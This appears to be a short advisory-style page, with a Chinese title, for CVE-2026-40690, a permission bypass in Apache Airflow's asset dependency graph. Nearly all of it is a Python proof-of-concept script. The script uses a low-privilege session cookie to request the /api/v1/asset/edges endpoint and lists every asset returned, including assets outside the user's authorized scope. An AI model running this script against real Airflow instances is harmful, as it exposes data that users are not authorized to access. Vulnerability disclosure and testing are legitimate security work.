CVE-2026-40690 Apache Airflow资产依赖图权限绕过漏洞

import requests # PoC for CVE-2026-40690: Apache Airflow Information Disclosure # This script demonstrates how a user with limited read access can enumerate unauthorized assets. TARGET_HOST = "http://localhost:8080" SESSION_COOKIE = "session=.eJwlz..." # Valid session cookie for a user with read access to at least one DAG def check_asset_disclosure(): headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/json" } # Endpoint to fetch asset edges (dependency graph) # Vulnerable versions return all assets regardless of specific DAG permissions url = f"{TARGET_HOST}/api/v1/asset/edges" try: response = requests.get(url, headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved asset dependency graph.") print(f"[+] Total assets found: {len(data.get('assets', []))}") # Print discovered asset names that might be outside authorized scope for asset in data.get('assets', []): print(f" - Asset ID: {asset.get('id')}, Name: {asset.get('name')}, Type: {asset.get('type')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": check_asset_disclosure()